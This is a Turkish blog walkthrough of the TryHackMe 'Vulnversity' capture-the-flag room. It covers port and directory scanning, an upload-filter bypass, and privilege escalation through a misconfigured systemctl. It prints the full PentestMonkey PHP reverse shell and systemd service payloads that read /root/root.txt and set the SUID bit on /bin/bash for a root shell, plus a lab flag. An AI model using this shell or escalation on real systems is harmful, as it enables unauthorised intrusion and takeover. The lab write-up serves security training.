Bu yazımda Tryhackme’deki Penetration Test road map’indeki vulnersity odasını ele alacağız. Amacımız active recon, web app attacks and privilege escalation hakkında fikir sahibi olmak olacak.

https://tryhackme.com/r/room/vulnversity

Başlamadan önce deneyim sahibi olmayan arkadaşlar için bir cheat sheet’i burada vermek istiyorum.

Nmap

Nmap flagDescription
-sVAttempts to determine the version of the services running
-p or -p-Port scan for port or scan all ports
-PnDisable host discovery and scan for open ports
-AEnables OS and version detection, executes in-build scripts for further enumeration
-sCScan with the default Nmap scripts
-vVerbose mode
-sUUDP port scan
-sSTCP SYN port scan

Gobuster

Gobuster flagDescription
-ePrint the full URLs in your console
-uThe target URL
-wPath to your wordlist
-U and -PUsername and Password for Basic Auth
-pProxy to use for requests
-cSpecify a cookie for simulating your auth
SUID bitlerini bulma
find / -perm /4000 2>/dev/null

Payloads

PHP-reverse-shell:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

ön bilgilendirmeleri hallettiysek hemen ilk taskımız ile başlayalım. Burada makinemizi deploy etmemizi istiyor. ve bizden herhangi bir cevap istemiyor.

Task2 Reconnaissance

nmap -sV -sC 10.10.96.204 -oN vulnersity.txt taramamızı çalıştıralım.

Nmap taramamızdan aşağıdakileri buluyoruz;
Açık Portlar – 6
Portta Çalışan Web Sunucusu – 3333
Hedef İşletim Sistemi – Ubuntu Linux

gerekli cevapları aşağıdaki gibi doldurup geçebiliriz.

Apache web sunucusunun 3333 numaralı portta çalıştığını görüyoruz. Tarayıcımızı çalıştıralım ve orada ne olduğunu görmek için target ip adresinin 3333 portuna gidelim.

bizi bu şekilde bir site karşılıyor.

Gobuster, dirb veya dirlist’i kurduktan sonra, hedefe karşı çalıştırabiliriz.

aşağıda iki farklı tool ile çalıştırma şeklini görebilirsiniz.

Buradan, yükleme formu sayfası olan dizinin ( /internal ) olduğu sonucunu çıkarabiliriz.

‘/internal/’ dizini bize bazı yükleme işlemleri için imkan sağlayacak. Fakat neyi ve neden yükleyeceğiz?

Bunun için bir php reverse shell indirmemiz gerekecek (istediğiniz herhangi biri olabilir) Ben PentestMonkey’den bir reverse shel kullandım (aşağıda bu kodu sizinle paylaşıyorum), kabuktaki IP ve portu değiştirmeniz ve aşağıda gösterildiği gibi sunucuya yüklemeniz gerekecek.

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

şimdi yükleyelim

fakat hata verdi. Bu noktada mantığımızın sunucu tarafında ne tür dosyalara izin verildiğini öğrenebilmek için burp suit ile fuzz yapmamız gerekecek.

Sizlere araştırma olsun burada ben bunun phtml olduğunu buldum ve succes’i aldık fakat bu nereye kaydedildi. bunu bulmak için internal dizinine gobuster başlatıyorum.

gobuster dir -u http://10.10.215.224:3333/internal/ –wordlist /usr/share/wordlists/dirb/common.txt -e

Son olarak, $ip değişkeninizi IP adresinize ayarlamanız gerekecek. $port değişkenini ise 6666 olarak ayarlamayı tercih ettim daha sonradan neden bilmiyorum. Netcat dinleyicisi aracılığıyla bağlantıyı dinlemeye başladım ve reverse shell’i yüklerken ‘upload’ butonuna tıkladım aşağıdaki adımları takip ederek.

www-data kullanıcısı olarak shell elde ettik hemen içerisinde bakınalım.

cat /etc/passwd
(bu komutla /home/bill dizininde Bill adında bir kullanıcı buldum)

Şimdi bu makineyi ele geçirdiğinize göre, ayrıcalıklarımızı yükselteceğiz ve süper kullanıcı (root) olacağız.

Linux’ta SUID (set owner userId upon execution) bir dosyaya verilen özel bir dosya izni türüdür. SUID, bir kullanıcıya programı/dosyayı dosya sahibinin izniyle (dosyayı çalıştıran kullanıcı yerine) çalıştırması için geçici izinler verir.

Örneğin, parolanızı değiştirmek için kullanılan ikili dosyada SUID biti ayarlanmıştır (/usr/bin/passwd). Bunun nedeni, parolanızı değiştirmek için erişiminiz olmayan shadowers dosyasına yazmanız gerekecek olmasıdır; root’un erişimi vardır, bu nedenle doğru değişiklikleri yapmak için root ayrıcalıklarına sahiptir.

ve bundan sonra oda bize yardımı kesiyor privilige escalation’u bize bırakıyor.

find / -perm /4000 2>/dev/null komutu, Linux ve Unix tabanlı sistemlerde belirli dosyaları aramak için kullanılır. Bu komutun mantığını adım adım açıklayalım:

find /: Bu kısım, kök dizinden (“/”) başlayarak tüm dosya sisteminde arama yapar.
-perm /4000: Bu, belirli izinlere sahip dosyaları arar. “4000” izni, setuid biti olarak bilinir. Bu bit, bir dosyanın çalıştırıldığında dosyanın sahibinin (genellikle root) yetkilerini devralmasını sağlar. “4000” ifadesi, herhangi bir kullanıcının bu izinle sahip olduğu dosyaları bulur.
2>/dev/null: Bu kısım, hata mesajlarını (örneğin, izin reddedildi hataları) bastırır ve “/dev/null” adı verilen boş bir dosyaya yönlendirir. Böylece komutun çıktısı yalnızca aranan dosyalarla sınırlı olur.
Neden Kullanılır?
Bu komut, özellikle sistem yöneticileri ve güvenlik uzmanları tarafından, sistemde setuid biti atanmış dosyaları bulmak için kullanılır. Setuid biti atanmış dosyalar, güvenlik açısından dikkatle izlenmelidir çünkü bu dosyalar kötüye kullanıldığında potansiyel olarak büyük güvenlik açıklarına neden olabilirler.

(Systemctl, systemd init hizmetini kontrol etmek için kullanılan araç/hizmettir)

Systemctl ve systemd, modern Linux sistemlerinde init (başlatma) hizmetlerini kontrol etmek için kullanılan güçlü araçlardır. Saldırganlar, bu araçları privilege escalation (yetki yükseltme) saldırıları için kullanmayı tercih ederler çünkü bu araçlar, sistemde root yetkilerine sahip işlemleri kontrol etme ve yönetme kapasitesine sahiptir. İşte nedenleri:

  1. Yüksek Yetkilerle Çalışma: Systemctl ve systemd, genellikle root yetkileriyle çalışır. Bu nedenle, bir saldırgan bu araçları kullanarak kendine root yetkisi elde edebilir veya mevcut root yetkilerini kötüye kullanabilir. Bu, saldırganın sistem üzerinde tam kontrol sağlamasına olanak tanır.
  2. Geniş Kapsamlı Kontrol: Bu araçlar, sistemdeki hemen hemen tüm hizmetleri ve işlemleri başlatma, durdurma, yeniden başlatma ve durumlarını kontrol etme yeteneğine sahiptir. Bu, saldırganlara geniş bir saldırı yüzeyi sağlar ve birçok farklı yolla sistemi manipüle etmelerine imkan tanır.
  3. Konfigürasyon Dosyalarına Erişim: Systemd servis dosyaları, genellikle belirli yollar altında (örneğin, /etc/systemd/system/ veya /lib/systemd/system/) bulunur ve bu dosyaların manipülasyonu, saldırganların kendi kötü niyetli kodlarını çalıştırmalarına olanak tanır. Bu dosyalarda yapılacak değişikliklerle sistem yeniden başlatıldığında veya hizmet yeniden başlatıldığında saldırganın kodu çalışabilir.
  4. Zayıf Güvenlik Uygulamaları: Bazı sistemlerde, özellikle yanlış yapılandırılmış sistemlerde, systemctl ve systemd’nin yanlış yapılandırılmış olması veya varsayılan ayarların yeterince güvenli olmaması, saldırganların bu araçları kötüye kullanmalarını kolaylaştırır.
  5. Loglama ve İzleme: Saldırganlar, izlerini örtmek ve sistem yöneticilerinin saldırıyı fark etmelerini zorlaştırmak için systemd’nin loglama ve izleme özelliklerini de manipüle edebilirler.

Örnek bir saldırı senaryosu olarak, saldırgan bir sistemde yetki yükseltmek için şu adımları izleyebilir:

  1. Zayıf Hizmet Dosyası: Saldırgan, bir systemd hizmet dosyasında bir güvenlik açığı bulur veya bir konfigürasyon hatasından faydalanır.
  2. Manipülasyon: Hizmet dosyasını düzenleyerek, hizmetin çalıştırdığı komutu değiştirir ve kendi kötü niyetli komutlarını ekler.
  3. Yeniden Başlatma: Hizmeti yeniden başlatarak veya sistemi yeniden başlatarak, kötü niyetli kodun çalışmasını sağlar.

Bu nedenle, systemctl ve systemd, saldırganlar tarafından yaygın olarak tercih edilen araçlardır ve sistem yöneticilerinin bu araçları dikkatli bir şekilde yönetmeleri ve güvenli yapılandırmalar sağlamaları son derece önemlidir.

Hedef sistemimiz oturum açmış herhangi bir kullanıcının bir sistem service oluşturmasına ve root olarak çalıştırmasına izin vermektedir. Bundan dolayı  root erişimine sahip olmamızı ve sürdürmemizi korumamızı sağlayacak bir service oluşturacağız.

bir dosyanın içeriğini başka bir konumda saklamak veya bir dosyanın içeriğini erişilebilir hale getirmek için tmp klasörü altında geçici bir dosya yada servisler oluşturacağız.

Privilege escalation (ayrıcalık yükseltme) işlemleri genellikle iki ana yöntemle gerçekleştirilebilir: geçici dosyalar oluşturma veya geçici servisler oluşturma. Bu iki yöntem farklı durumlarda kullanılabilir. İki yöntemin de nasıl çalıştığını açıklayan özetler:

  1. Geçici Dosya Oluşturma
    Geçici dosya oluşturma, bir dosyanın içeriğini başka bir konumda saklayarak veya dosyanın içeriğini erişilebilir hale getirerek yetki kazanmayı amaçlar. Örneğin:

Bir Root Dosyasının İçeriğini Okuma: /root/root.txt gibi kök kullanıcıya ait bir dosyanın içeriğini /tmp/ gibi erişilebilir bir dizine kopyalamak, bu içeriğe erişmenizi sağlar.
Gizli Dosyaların Erişimini Sağlama: Yetkilendirilmiş kullanıcı tarafından erişilemeyen dosyalara geçici bir konumda erişim sağlamak için kullanılabilir.
Örnek:

cat /root/root.txt > /tmp/flag.txt
Bu komut, /root/root.txt dosyasının içeriğini /tmp/flag.txt dosyasına yazar.

  1. Geçici Servis Oluşturma
    Geçici servis oluşturma, systemd gibi bir servis yöneticisinin ayrıcalıklarını kullanarak belirli komutları yüksek yetkilerle çalıştırmanıza olanak tanır. Bu yöntem, özellikle bir SUID (Set User ID) biti setlenmiş bir ikili dosya veya sudo ayrıcalıklarına sahip bir komut ile kullanılabilir.

Servis Dosyası Oluşturma: Yeni bir servis dosyası oluşturur ve bu servisi systemd’ye tanıtarak çalıştırılacak komutları belirtirsiniz.
Komutların Yüksek Yetkilerle Çalıştırılması: systemctl gibi araçlar kullanılarak servis başlatıldığında belirtilen komut yüksek ayrıcalıklarla çalıştırılır.
Örnek:

Geçici bir servis dosyası oluşturma

TF=$(mktemp).service
echo ‘[Service]
Type=oneshot
ExecStart=/bin/sh -c “cat /root/root.txt > /tmp/flag.txt”
[Install]
WantedBy=multi-user.target’ > $TF
Servisi linkleyin ve etkinleştirin:

sudo systemctl link $TF
sudo systemctl enable –now $(basename $TF)
Bu servis başlatıldığında, /root/root.txt dosyasının içeriğini /tmp/flag.txt dosyasına kopyalar, bu da yetkilerinizi yükseltmek için kullanılabilir.

Özet
Geçici Dosya Oluşturma: Dosya içeriğini başka bir konumda saklama veya erişilebilir hale getirme amacı taşır.
Geçici Servis Oluşturma: systemd veya benzeri araçlarla yüksek ayrıcalıklarla komut çalıştırmak için kullanılır.
Her iki yöntemin de amacı, sistemde yetki kazanmak veya mevcut yetkileri artırmak olabilir. Hangi yöntemi kullanmanız gerektiği, sistemdeki mevcut yapılandırmalara ve güvenlik açıklarına bağlıdır.

geçici bir servis oluşturmak ve çalıştırmak için adım adım süreç şu şekildedir:

1. Geçici Servis Dosyasını Oluşturma

  1. Geçici Dosya Oluşturma: İlk olarak, geçici bir servis dosyası oluşturmanız gerekiyor. Bu dosya, systemd servisi olarak tanıtılacak ve içinde çalıştırılacak komutu belirtecektir. Geçici bir dosya adı oluşturun:TF=$(mktemp).service Bu komut, geçici bir dosya adı oluşturur ve .service uzantısını ekler. Dosya adını TF değişkeninde saklar.
  2. Servis İçeriğini Yazma: Servis dosyasının içeriğini oluşturun. echo komutunu kullanarak içerik yazmak için aşağıdaki adımları takip edebilirsiniz. Burada, geçici dosyanın içeriğini bir servise uygun formatta yazarız:
  3. echo ‘[Service]
  4. ExecStart=/bin/sh -c “cat /root/root.txt > /tmp/flag.txt”
  5. [Install]
  6. WantedBy=multi-user.target’ > $TF
  7. Bu komut, ExecStart satırında belirtilen komutu /bin/sh shell’i kullanarak çalıştıracaktır. cat /root/root.txt > /tmp/flag.txt komutu, /root/root.txt dosyasının içeriğini /tmp/flag.txt dosyasına kopyalar.

/bin/systemctl link $TF

Systemd, servis dosyalarını /etc/systemd/system/ veya /lib/systemd/system/ gibi dizinlerde saklar. Bu dizinlerdeki dosyalar, systemd’nin servisleri tanımasını ve yönetmesini sağlar. Geçici bir servis dosyası oluşturduğunuzda, bu dosyayı systemd’ye tanıtmak için bir sembolik link oluşturmanız gerekir.

Neden Sembolik Link Kullanılır?

  1. Geçici Servis Dosyasını Yönetme:
    • Geçici olarak oluşturulan servis dosyasının gerçek konumu genellikle /tmp dizininde bulunur. Bu dosyayı systemd’ye tanıtmak için bu dosyayı /etc/systemd/system/ dizinine bir sembolik link ile bağlamak gerekir.
    • Sembolik link, geçici dosyayı systemd’nin anlayacağı bir konuma işaret eder.
  2. Systemd’nin Servis Dosyasını Tanıması:
    • Systemd, servis dosyalarını belirli dizinlerde arar. Geçici dosyayı bu dizinlere koymak yerine, sembolik link kullanarak bu dosyayı geçici dizinden yönetilebilir bir konuma yönlendirmiş olursunuz.
    • Bu işlem, geçici servis dosyasının systemd tarafından işlenmesini ve kullanılmasını sağlar.

/bin/systemctl enable –now $TF: Bu komut, geçici olarak oluşturduğunuz servis dosyasının tam yolunu kullanarak systemd’ye servis tanıtımını yapar. Geçici servis dosyanızın tam yolunu kullanmak, systemd’nin bu dosyayı doğru bir şekilde tanıyıp işleyebilmesini sağlar. Böylece çalıştırdık ve tmp root/root.txt den okunan verinin tmp altında flag.txt’ye yani bizim erişebileceğimiz yere geldiğini görmeyi umuyoruz.

görüldüğü üzere gelmiş

içine girip bakalım hemen.

a58ff8579f0a9270368d33a9966c7fd5

Geçici Servis Dosyası ve SUID Bit Ayarı:

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF

Servisi Linkleme ve Başlatma:

/bin/systemctl link $TF
/bin/systemctl enable --now $TF

Yetki Yükseltme:

bash -p

Sonraki Erişim:

bashCopy codecd /root
ls
cat root.txt

2. Az Önceki İşlemlerle Farklar:

Az Önceki İşlemler (Geçici Servis ile):

Yeni Yaklaşımdaki Farklar:

Özet:

Mantık:

Bu iki yöntem arasındaki farklar, belirli durumlarda yetki yükseltme işlemlerinin nasıl yapılacağına bağlı olarak avantajlar ve dezavantajlar sunar.

Stay informed with the latest cybersecurity insights and best practices. Subscribe now for exclusive tips and updates

. (socials ).

. (location) .

We would love to here from you

They’ve never learned the most important rule of cyberspace – Computers dont lie but liars can compute.